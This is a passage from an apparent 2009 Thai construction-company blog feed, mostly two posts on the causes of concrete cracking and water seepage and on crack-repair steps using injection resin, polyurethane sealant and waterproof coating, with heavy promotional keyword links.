<p>แต่สำหรับการตรวจในส่วนของพื้นที่ๆเป็นปีกเครื่องบินนั้น จะนิยมใช้ตาดู มองหารอยแตก คือถ้ามีรอยหักพับย่นของ ใย <a title="Carbon Fiber" href="http://www.repconservice.com/concrete-repair-project2.html">Carbon Fiber</a>ละก็ให้ทำการเปลี่ยนใหม่ทันที</p>
<p><strong>Related Links<br />
</strong><a title="Carbon Fiber" href="http://www.repconservice.com/concrete-repair-project2.html">Carbon Fiber</a></p>

	<h4>Related posts</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.repconservice.com/blog/carbon-fiber/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%9c%e0%b8%a5%e0%b8%b4%e0%b8%95-carbon-fiber" title="การผลิต Carbon Fiber (April 1, 2009)">การผลิต Carbon Fiber</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/carbon-fiber/%e0%b8%aa%e0%b9%88%e0%b8%a7%e0%b8%99%e0%b8%9b%e0%b8%a3%e0%b8%b0%e0%b8%81%e0%b8%ad%e0%b8%9a-carbon-fiber" title="ส่วนประกอบ Carbon Fiber (March 29, 2009)">ส่วนประกอบ Carbon Fiber</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95/%e0%b9%81%e0%b8%a3%e0%b8%87%e0%b9%80%e0%b8%81%e0%b8%b4%e0%b8%94%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95" title="รอยร้าวคอนกรีตจากแรงดัน แรงเฉือน แรงบิด (March 16, 2009)">รอยร้าวคอนกรีตจากแรงดัน แรงเฉือน แรงบิด</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95%e0%b8%95%e0%b9%88%e0%b8%b3" title="รอยร้าวคอนกรีตคุณภาพต่ำ (March 16, 2009)">รอยร้าวคอนกรีตคุณภาพต่ำ</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95" title="รอยร้าวคอนกรีต (March 16, 2009)">รอยร้าวคอนกรีต</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.repconservice.com/blog/carbon-fiber/carbon-fiber-%e0%b8%84%e0%b8%b7%e0%b8%ad%e0%b8%ad%e0%b8%b0%e0%b9%84%e0%b8%a3/feed</wfw:commentRss>
		</item>
		<item>
		<title>การแก้ปัญหาด้วย Crack Repair</title>
		<link>http://www.repconservice.com/blog/crack-repair/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%81%e0%b8%81%e0%b9%89%e0%b8%9b%e0%b8%b1%e0%b8%8d%e0%b8%ab%e0%b8%b2%e0%b8%94%e0%b9%89%e0%b8%a7%e0%b8%a2-crack-repair</link>
		<comments>http://www.repconservice.com/blog/crack-repair/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%81%e0%b8%81%e0%b9%89%e0%b8%9b%e0%b8%b1%e0%b8%8d%e0%b8%ab%e0%b8%b2%e0%b8%94%e0%b9%89%e0%b8%a7%e0%b8%a2-crack-repair#comments</comments>
		<pubDate>Wed, 25 Mar 2009 14:46:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Crack Repair]]></category>

		<category><![CDATA[crack]]></category>

		<category><![CDATA[repiar]]></category>

		<category><![CDATA[ผนัง]]></category>

		<category><![CDATA[ผนังรั่วซึม]]></category>

		<guid isPermaLink="false">http://www.repconservice.com/blog/?p=134</guid>
		<description><![CDATA[จะเห็นว่า การรั่วซึมที่เกิดจากรอยแตกร้าว Crack ของคอนกรีตนั้น เราสามารถเกิดขึ้น และพบเจอได้ง่ายมาก ถึงแม้ว่าปัญหาการ Crack ของคอนกรีตนี้จะมีการป้องกันอย่างดี ตั้งแต่การวางแผนการป้องกันในตอนก่อสร้างแล้วก็ตาม
เมื่อเป็นอย่างนี้แล้วนั้น การแก้ไขด้วยเทคนิค Crack Repair ก็สมควรที่จะมีวัสดุสำหรับงานกันรั่วซึม ไม่ว่าจะเป็นแบบชนิดที่เราเอาไว้ใช้ทาเคลือบรอย Crack หรือแม้แต่แผ่นยางกันซึม ก็สามารถป้องกันโครงสร้างที่เกิดจากการ Crack จากการรั่วซึมได้
ซึ่งเรานับได้ว่าอาการนี้ล้วนแล้วแต่เป็นสาเหตุหลักของการวิบัติมาซึ่งโครงสร้าง หากแต่ว่าตัวเจ้าของอาคารนั้นยังคงวางใจ คิดว่าเป็นปัญหาไกลตัวมากกันไปแล้ว กับการรั่วซึม Crack Repair นี้นั้นสามารถส่งผลเสียอย่างยิ่งยวดให้อาคารอีกหลายประการได้ดังนี้


เมื่อเกิดปัญหาน้ำรั่วซึมลงมาสะสมที่ผนังคอนกรีตตามรอย Crack ซึ่งเป็นชั้นอิฐ และมีคุณสมบัติอมน้ำได้ดี เมื่อน้ำภายในผนังกำแพงเกิดการคายน้ำออกมา เมื่อนั้นสีที่ทาภายในและสีทาภายนอก แทนที่เราต้องการความสวยงามและคงทนยาวนานนั้น จะเริ่มลอกออกเป็นแผ่นและเกิดการเสื่อมสภาพทันที
เมื่อเกิดปัญหาน้ำรั่วซึมเข้ามาในบริเวนอาคาร ลามมาจนถึงส่วนเฟอร์นิเจอร์ที่อยู่ภายในตัวอาคารจะโก่งตัวเพราะบวมน้ำ ทำให้เกิดการเสียหายเสื่อมสภาพ เป็นเชื้อราดำและสุดท้ายก็จะเกิดการผุพังในที่สุด
เมื่อเกิดปัญหาน้ำรั่วซึมเข้าอาคารมาถึงในส่วนของวัสดุบุผิวต่างๆ เช่นผ้าม่าน ลายฝ้าแบบฉาบเรียบ ผนังวอลเปเปอร์และอื่นๆที่อยู่ภายในอาคารก็จะเสื่อมสภาพ และก็จะเป็นที่สะสมของเชื้อโรคเชื้อรา และแบคทีเรียอีกสารพัด
เมื่อเกิดปัญหาน้ำรั่วซึมมักจะเจอกับในส่วนของเหล็กเสริมภายในชั้นคอนกรีต เมื่อเหล็กเป็นสนิมขึ้นมาเหล็กนั้นจะขยายตัวเองแตกออกมาอีกประมาณ 6 เท่า และเกิดการดันคอนกรีตแตกออกมา และปัญหานี้ก็จะวิ่งลุกลามไปตามเหล็กภายในคอนกรีตทั้งหมดเส้นอย่างรวดเร็ว

การทำ Crack Repair ในการปรับปรุงอาคารที่มีปัญหาด้านโครงสร้าง นับได้ว่าเป็นปัญหาที่สืบเนื่องยาวนานมาจากการรั่วซึม จะเสียค่าใช้จ่ายในการทำ Repair สูง และโดยเฉพาะอย่างยิ่งหากการซ่อมนั้นเป็นการซ่อมแซมทั้งโครงสร้างทั้งระบบ
โดยเฉพาะหากมีอาการเหล็กเสริมเป็นสนิมแล้ว จะค่าใช้จ่ายที่ออกมาจะยิ่งสูงขึ้นเป็นทวีคูณ [...]]]></description>
			<content:encoded><![CDATA[<p>จะเห็นว่า การรั่วซึมที่เกิดจากรอยแตกร้าว <a title="crack repair" href="http://www.repconservice.com/service2.html">Crack</a> ของคอนกรีตนั้น เราสามารถเกิดขึ้น และพบเจอได้ง่ายมาก ถึงแม้ว่าปัญหาการ <a title="crack repair" href="http://www.repconservice.com/service2.html">Crack</a> ของคอนกรีตนี้จะมีการป้องกันอย่างดี ตั้งแต่การวางแผนการป้องกันในตอนก่อสร้างแล้วก็ตาม<br />
เมื่อเป็นอย่างนี้แล้วนั้น การแก้ไขด้วยเทคนิค <a title="crack repair" href="http://www.repconservice.com/service2.html">Crack Repair</a> ก็สมควรที่จะมีวัสดุสำหรับงานกันรั่วซึม ไม่ว่าจะเป็นแบบชนิดที่เราเอาไว้ใช้ทาเคลือบรอย <a title="crack repair" href="http://www.repconservice.com/service2.html">Crack</a> หรือแม้แต่แผ่นยางกันซึม ก็สามารถป้องกันโครงสร้างที่เกิดจากการ <a title="crack repair" href="http://www.repconservice.com/service2.html">Crack</a> จากการรั่วซึมได้<br />
ซึ่งเรานับได้ว่าอาการนี้ล้วนแล้วแต่เป็นสาเหตุหลักของการวิบัติมาซึ่งโครงสร้าง หากแต่ว่าตัวเจ้าของอาคารนั้นยังคงวางใจ คิดว่าเป็นปัญหาไกลตัวมากกันไปแล้ว กับการรั่วซึม <a title="crack repair" href="http://www.repconservice.com/service2.html">Crack Repair</a> นี้นั้นสามารถส่งผลเสียอย่างยิ่งยวดให้อาคารอีกหลายประการได้ดังนี้</p>
<p><span id="more-134"></span></p>
<p><img class="aligncenter" title="crack repair" src="http://www.ontariocrackrepair.com/ontario-crack-repair-diagra.jpg" alt="" width="610" height="324" /></p>
<p>เมื่อเกิดปัญหาน้ำรั่วซึมลงมาสะสมที่ผนังคอนกรีตตามรอย <a title="crack repair" href="http://www.repconservice.com/service2.html">Crack</a> ซึ่งเป็นชั้นอิฐ และมีคุณสมบัติอมน้ำได้ดี เมื่อน้ำภายในผนังกำแพงเกิดการคายน้ำออกมา เมื่อนั้นสีที่ทาภายในและสีทาภายนอก แทนที่เราต้องการความสวยงามและคงทนยาวนานนั้น จะเริ่มลอกออกเป็นแผ่นและเกิดการเสื่อมสภาพทันที<br />
เมื่อเกิดปัญหาน้ำรั่วซึมเข้ามาในบริเวนอาคาร ลามมาจนถึงส่วนเฟอร์นิเจอร์ที่อยู่ภายในตัวอาคารจะโก่งตัวเพราะบวมน้ำ ทำให้เกิดการเสียหายเสื่อมสภาพ เป็นเชื้อราดำและสุดท้ายก็จะเกิดการผุพังในที่สุด<br />
เมื่อเกิดปัญหาน้ำรั่วซึมเข้าอาคารมาถึงในส่วนของวัสดุบุผิวต่างๆ เช่นผ้าม่าน ลายฝ้าแบบฉาบเรียบ ผนังวอลเปเปอร์และอื่นๆที่อยู่ภายในอาคารก็จะเสื่อมสภาพ และก็จะเป็นที่สะสมของเชื้อโรคเชื้อรา และแบคทีเรียอีกสารพัด<br />
เมื่อเกิดปัญหาน้ำรั่วซึมมักจะเจอกับในส่วนของเหล็กเสริมภายในชั้นคอนกรีต เมื่อเหล็กเป็นสนิมขึ้นมาเหล็กนั้นจะขยายตัวเองแตกออกมาอีกประมาณ 6 เท่า และเกิดการดันคอนกรีตแตกออกมา และปัญหานี้ก็จะวิ่งลุกลามไปตามเหล็กภายในคอนกรีตทั้งหมดเส้นอย่างรวดเร็ว</p>
<p style="text-align: center;"><object width="425" height="344" data="http://www.youtube.com/v/fcAj9n3DbkQ&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/fcAj9n3DbkQ&amp;hl=en&amp;fs=1" /><param name="allowfullscreen" value="true" /></object></p>
<p>การทำ <a title="crack repair" href="http://www.repconservice.com/service2.html">Crack Repair</a> ในการปรับปรุงอาคารที่มีปัญหาด้านโครงสร้าง นับได้ว่าเป็นปัญหาที่สืบเนื่องยาวนานมาจากการรั่วซึม จะเสียค่าใช้จ่ายในการทำ <a title="crack repair" href="http://www.repconservice.com/service2.html">Repair</a> สูง และโดยเฉพาะอย่างยิ่งหากการซ่อมนั้นเป็นการซ่อมแซมทั้งโครงสร้างทั้งระบบ<br />
โดยเฉพาะหากมีอาการเหล็กเสริมเป็นสนิมแล้ว จะค่าใช้จ่ายที่ออกมาจะยิ่งสูงขึ้นเป็นทวีคูณ ในส่วนของการทำ <a title="crack repair" href="http://www.repconservice.com/service2.html">Crack Repair</a> ระบบกันซึม จึงเป็นทางเลือกที่เราในฐานะเจ้าของอาคารไม่อาจถูกปฏิเสธได้ ทุกอาคารส่วนใหญ่จะมีการใช้วัสดุนี้อย่างนิยมแพร่หลาย<br />
มีเอาไว้เพื่อป้องกันปัญหาการ <a title="crack repair" href="http://www.repconservice.com/service2.html">Crack Repair</a> โดยนิยมที่จะใช้ในอาคารประเภทข้างต้นได้ด้วยกันเป็นอย่างดี ฉะนั้นเทคนิคการแก้ไขแบบนี้จึงเป็นคำตอบสุดท้าย ของอาคารที่พบกับปัญหาอาคารเกิดการรอยร้าวขั้นรุณแรง</p>
<p><strong>Related Links<br />
</strong><a title="Crack Repair" href="../../service2.html">Crack Repair</a></p>

	<h4>Related posts</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.repconservice.com/blog/%e0%b8%9c%e0%b8%99%e0%b8%b1%e0%b8%87%e0%b8%a3%e0%b8%b1%e0%b9%88%e0%b8%a7%e0%b8%8b%e0%b8%b6%e0%b8%a1/%e0%b9%81%e0%b8%81%e0%b9%89%e0%b9%84%e0%b8%82%e0%b8%9c%e0%b8%99%e0%b8%b1%e0%b8%87%e0%b8%a3%e0%b8%b1%e0%b9%88%e0%b8%a7%e0%b8%8b%e0%b8%b6%e0%b8%a1" title="วิธีการแก้ไขผนังรั่วซึม (March 16, 2009)">วิธีการแก้ไขผนังรั่วซึม</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/%e0%b8%9c%e0%b8%99%e0%b8%b1%e0%b8%87%e0%b8%a3%e0%b8%b1%e0%b9%88%e0%b8%a7%e0%b8%8b%e0%b8%b6%e0%b8%a1/%e0%b8%9c%e0%b8%99%e0%b8%b1%e0%b8%87%e0%b8%a3%e0%b8%b1%e0%b9%88%e0%b8%a7%e0%b8%8b%e0%b8%b6%e0%b8%a1" title="ผนังรั่วซึม (March 16, 2009)">ผนังรั่วซึม</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/%e0%b8%9c%e0%b8%99%e0%b8%b1%e0%b8%87%e0%b8%a3%e0%b8%b1%e0%b9%88%e0%b8%a7%e0%b8%8b%e0%b8%b6%e0%b8%a1/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%81%e0%b8%81%e0%b9%89%e0%b9%84%e0%b8%82%e0%b8%9b%e0%b8%b1%e0%b8%8d%e0%b8%ab%e0%b8%b2%e0%b8%81%e0%b8%b3%e0%b9%81%e0%b8%9e%e0%b8%87%e0%b8%a3%e0%b8%b1%e0%b9%88%e0%b8%a7" title="การแก้ไขปัญหาผนังรั่วซึม (March 16, 2009)">การแก้ไขปัญหาผนังรั่วซึม</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/crack-repair/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95-crack-repair" title="รอยร้าวคอนกรีต Crack Repair (March 25, 2009)">รอยร้าวคอนกรีต Crack Repair</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.repconservice.com/blog/crack-repair/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%81%e0%b8%81%e0%b9%89%e0%b8%9b%e0%b8%b1%e0%b8%8d%e0%b8%ab%e0%b8%b2%e0%b8%94%e0%b9%89%e0%b8%a7%e0%b8%a2-crack-repair/feed</wfw:commentRss>
		</item>
		<item>
		<title>รอยร้าวคอนกรีต Crack Repair</title>
		<link>http://www.repconservice.com/blog/crack-repair/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95-crack-repair</link>
		<comments>http://www.repconservice.com/blog/crack-repair/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95-crack-repair#comments</comments>
		<pubDate>Wed, 25 Mar 2009 13:57:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Crack Repair]]></category>

		<category><![CDATA[รอย]]></category>

		<category><![CDATA[รอยร้าว]]></category>

		<category><![CDATA[รอยร้าวคอนกรีต]]></category>

		<guid isPermaLink="false">http://www.repconservice.com/blog/?p=116</guid>
		<description><![CDATA[ปัญหารอยร้าวคอนกรีต ที่สามารถแก้ไขได้ด้วยเทคนิคการทำ Crack Repair ส่วนใหญ่นั้น มักจะมีสาเหตุมาจากการยืด หรือการหดตัวของคอนกรีตในชั้นดาดฟ้าเสียส่วนมาก เพราะว่าพื้นที่ส่วนใหญ่ของพื้นดาดฟ้าส่วนนี้นั้น จำเป็นที่จะต้องโดนแสงแดดตลอดทั้งวัน
ทำให้คอนกรีตเกิดการยืดขยายตัว และ Crack แตกร้าวเพราะความร้อนจากสภาพอากาศ และตรงกันข้ามกับในขณะที่ตอนกลางคืน คอนกรีตก็จะเกิดอาการหดตัวลงอย่างรวดเร็ว ไปตามอุณหภูมิของอากาศในช่วงเวลานั้นที่เย็นลง


ซึ่งการยืดตัว และหดตัวสลับไปมากันเป็นเวลานานทุกวันๆ ทั้งปีนั้นเอง การ Crack ลักษณะนี้จึงเป็นสาเหตุที่ทำให้คอนกรีตเกิดอาการ Crack ขึ้นบนพื้นดาดฟ้านั้น สามารถที่จะมีรอยแตกร้าวเกิดขึ้นได้ และเมื่อมีฝนตกลงมาในปริมานมาก ทำให้น้ำฝนก็จะรั่วซึมผ่านรอยแตกร้าวคอนกรีตนั้นลงไป
ทำให้เกิดการรั่วซึม Repair และยิ่งนานวันเข้า น้ำที่รั่วซึมลงไปในส่วนของ Crack ก็จะไปทำปฏิกิริยาโดยตรงกับเหล็กเสริมในส่วนของพื้นคอนกรีตที่เกิดขึ้นมาจากการ Crack แตกร้าว จนทำให้เหล็กเกิดเป็นสนิม ซึ่งเหล็กที่เป็นสนิมนั้นเอง ก็จะทำให้เกิดการบวมตัวดันชั้นให้ผิวคอนกรีตที่ Crack บริเวณเพดานใต้พื้นชั้นดาดฟ้านั้น กระเทาะล่วงหล่นลงมาได้อย่างง่ายๆ

สำหรับวิธีการแก้ไขด้วยเทคนิค Crack Repair มีวิธีการดังนี้
ขั้นแรกเลยให้ล้างพื้นคอนกรีตเพื่อเตรียมทำ Repair โดยการทำความสะอาดจำพวกรอยคราบสิ่งสกปรก เช่นพวกฝุ่นผง รอยน้ำมัน และสิ่งที่หลุดร่อนต่างๆ ตามรอยแตกร้าวที่เกิด Crack ออกให้หมด
รอยร้าวหรือรอยต่อต่างๆที่เกิดการ Crack ขึ้นมาอย่างชัดเจน ให้เราใช้น้ำยาทำการ Repair เพื่อประสานรอยร้าว โดยทำการหยอดลงไปในรอยแตกร้าวของคอนกรีต [...]]]></description>
			<content:encoded><![CDATA[<p>ปัญหารอยร้าวคอนกรีต ที่สามารถแก้ไขได้ด้วยเทคนิคการทำ <a title="Crack Repair" href="http://www.repconservice.com/service2.html">Crack Repair</a> ส่วนใหญ่นั้น มักจะมีสาเหตุมาจากการยืด หรือการหดตัวของคอนกรีตในชั้นดาดฟ้าเสียส่วนมาก เพราะว่าพื้นที่ส่วนใหญ่ของพื้นดาดฟ้าส่วนนี้นั้น จำเป็นที่จะต้องโดนแสงแดดตลอดทั้งวัน<br />
ทำให้คอนกรีตเกิดการยืดขยายตัว และ <a title="Crack Repair" href="http://www.repconservice.com/service2.html">Crack</a> แตกร้าวเพราะความร้อนจากสภาพอากาศ และตรงกันข้ามกับในขณะที่ตอนกลางคืน คอนกรีตก็จะเกิดอาการหดตัวลงอย่างรวดเร็ว ไปตามอุณหภูมิของอากาศในช่วงเวลานั้นที่เย็นลง</p>
<p><img class="aligncenter" title="Crack Repair" src="http://www.sealtitebasements.com/images/photos/0003/img_63421.jpg" alt="" width="415" height="273" /></p>
<p><span id="more-116"></span></p>
<p>ซึ่งการยืดตัว และหดตัวสลับไปมากันเป็นเวลานานทุกวันๆ ทั้งปีนั้นเอง การ <a title="Crack Repair" href="http://www.repconservice.com/service2.html">Crack</a> ลักษณะนี้จึงเป็นสาเหตุที่ทำให้คอนกรีตเกิดอาการ <a href="http://www.repconservice.com/blog/tag/crack" class="st_tag internal_tag" rel="tag" title="Posts tagged with crack">Crack</a> ขึ้นบนพื้นดาดฟ้านั้น สามารถที่จะมีรอยแตกร้าวเกิดขึ้นได้ และเมื่อมีฝนตกลงมาในปริมานมาก ทำให้น้ำฝนก็จะรั่วซึมผ่านรอยแตกร้าวคอนกรีตนั้นลงไป<br />
ทำให้เกิดการรั่วซึม <a title="Crack Repair" href="http://www.repconservice.com/service2.html">Repair</a> และยิ่งนานวันเข้า น้ำที่รั่วซึมลงไปในส่วนของ <a title="Crack Repair" href="http://www.repconservice.com/service2.html">Crack</a> ก็จะไปทำปฏิกิริยาโดยตรงกับเหล็กเสริมในส่วนของพื้นคอนกรีตที่เกิดขึ้นมาจากการ <a title="Crack Repair" href="http://www.repconservice.com/service2.html">Crack</a> แตกร้าว จนทำให้เหล็กเกิดเป็นสนิม ซึ่งเหล็กที่เป็นสนิมนั้นเอง ก็จะทำให้เกิดการบวมตัวดันชั้นให้ผิวคอนกรีตที่ <a title="Crack Repair" href="http://www.repconservice.com/service2.html">Crack</a> บริเวณเพดานใต้พื้นชั้นดาดฟ้านั้น กระเทาะล่วงหล่นลงมาได้อย่างง่ายๆ</p>
<p style="text-align: center;"><object width="480" height="295" data="http://www.youtube.com/v/N6j7aZDU7bE&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/N6j7aZDU7bE&amp;hl=en&amp;fs=1" /><param name="allowfullscreen" value="true" /></object></p>
<p>สำหรับวิธีการแก้ไขด้วยเทคนิค <a title="Crack Repair" href="http://www.repconservice.com/service2.html">Crack Repair</a> มีวิธีการดังนี้<br />
ขั้นแรกเลยให้ล้างพื้นคอนกรีตเพื่อเตรียมทำ Repair โดยการทำความสะอาดจำพวกรอยคราบสิ่งสกปรก เช่นพวกฝุ่นผง รอยน้ำมัน และสิ่งที่หลุดร่อนต่างๆ ตามรอยแตกร้าวที่เกิด <a title="Crack Repair" href="http://www.repconservice.com/service2.html">Crack</a> ออกให้หมด<br />
รอยร้าวหรือรอยต่อต่างๆที่เกิดการ <a href="http://www.repconservice.com/blog/tag/crack" class="st_tag internal_tag" rel="tag" title="Posts tagged with crack">Crack</a> ขึ้นมาอย่างชัดเจน ให้เราใช้น้ำยาทำการ <a title="Crack Repair" href="http://www.repconservice.com/service2.html">Repair</a> เพื่อประสานรอยร้าว โดยทำการหยอดลงไปในรอยแตกร้าวของคอนกรีต ซึ่งน้ำยาตัวนี้จะเป็นน้ำยาที่มีคุณสมบัติไหลตัวลงไปได้ดี<br />
เหมือนน้ำเปล่าซึ่งมี <a title="Crack Repair" href="http://www.repconservice.com/service2.html">Crack Repair</a> Viscosity ที่ต่ำกว่ามาก เหมาะอย่างยิ่งสำหรับการใช้สำหรับหยอดหรือฉีดเข้าไปตามรอย <a title="Crack Repair" href="http://www.repconservice.com/service2.html">Crack</a> แตกร้าวต่างๆ เพื่อป้องกันการรั่วซึมของน้ำ และโดยเฉพาะในส่วนรอยร้าวที่มีขนาดใหญ่ตั้งแต่ 0.5 มม. ขึ้นไป ให้ดูแลการ Seal Repair ด้วย Polyurethane Sealant อีกชั้นหนึ่ง</p>
<p><img class="aligncenter" title="Crack Repair" src="http://www.appliedtechnologies.com/pages_blocks_v3/images/links/crack_repair_joe-2.jpg" alt="" width="180" height="311" /></p>
<p>และสุดท้าย ให้ทำระบบเคลือบ <a title="Crack Repair" href="http://www.repconservice.com/service2.html">Crack Repair</a> กันซึมทับลงบนพื้นดาดฟ้าด้วย Flexi Cote สีเคลือบกันซึมคอนกรีต เช่น สีขาว หรือสีเทา ในแบบที่มีความยืดหยุ่นสูงเป็นพิเศษ และมีความทนทานจากสภาพแสง Ultra Violet จากดวงอาทิตย์<br />
ประกอบด้วยสารอะคริลิค โคโพลิเมอร์ รองรับการ <a title="Crack Repair" href="http://www.repconservice.com/service2.html">Repair</a> ยืดหดตัวของคอนกรีตได้เป็นอย่างดี และสามารถป้องกันน้ำรั่วซึมได้เกือบ100% เต็ม อีกทั้งยังมีคุณสมบัติที่จะสามารถช่วยลดความร้อน ในส่วนของพื้นดาดฟ้าด้วย<br />
โดยจากตัวอย่างการทำงานบริเวณรอยร้าวที่ <a title="Crack Repair" href="http://www.repconservice.com/service2.html">Crack</a> หรือรอยเชื่อมต่อคอนกรีต เราสามารถใช้งานควบคู่ไปพร้อมๆกับผ้าใยสังเคราะห์ เพื่อที่จะเคลือบกันซึมบริเวณรอยร้าวรอยต่อ ในส่วนของคอนกรีตบริเวณพื้นที่ดังกล่าวได้<br />
โดยเมื่อทำงานเสร็จแล้ว ก็จะออกเอกสารใบรับประกันผลงานในการแก้ไขปัยหาด้วยระบบ <a title="Crack Repair" href="http://www.repconservice.com/service2.html">Crack Repair</a> ที่รับประกันการแก้ปัญหารั่วซึมเป็นเวลากี่ปีก็ว่ากันไปตามเอกสาร โดยหลังจากส่งมอบงาน <a title="Crack Repair" href="http://www.repconservice.com/service2.html">Repair</a> เสร็จสิ้นเรียบร้อยแล้ว</p>
<p><strong>Related Links<br />
</strong><a title="Crack Repair" href="http://www.repconservice.com/service2.html">Crack Repair</a></p>

	<h4>Related posts</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95/%e0%b9%81%e0%b8%a3%e0%b8%87%e0%b9%80%e0%b8%81%e0%b8%b4%e0%b8%94%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95" title="รอยร้าวคอนกรีตจากแรงดัน แรงเฉือน แรงบิด (March 16, 2009)">รอยร้าวคอนกรีตจากแรงดัน แรงเฉือน แรงบิด</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95%e0%b8%95%e0%b9%88%e0%b8%b3" title="รอยร้าวคอนกรีตคุณภาพต่ำ (March 16, 2009)">รอยร้าวคอนกรีตคุณภาพต่ำ</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95" title="รอยร้าวคอนกรีต (March 16, 2009)">รอยร้าวคอนกรีต</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95/%e0%b8%9b%e0%b8%a3%e0%b8%b0%e0%b9%80%e0%b8%a0%e0%b8%97%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95" title="ประเภทของรอยร้าวคอนกรีต (March 16, 2009)">ประเภทของรอยร้าวคอนกรีต</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/crack-repair/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%81%e0%b8%81%e0%b9%89%e0%b8%9b%e0%b8%b1%e0%b8%8d%e0%b8%ab%e0%b8%b2%e0%b8%94%e0%b9%89%e0%b8%a7%e0%b8%a2-crack-repair" title="การแก้ปัญหาด้วย Crack Repair (March 25, 2009)">การแก้ปัญหาด้วย Crack Repair</a> (0)</li>
</ul>

]]></content:encoded>
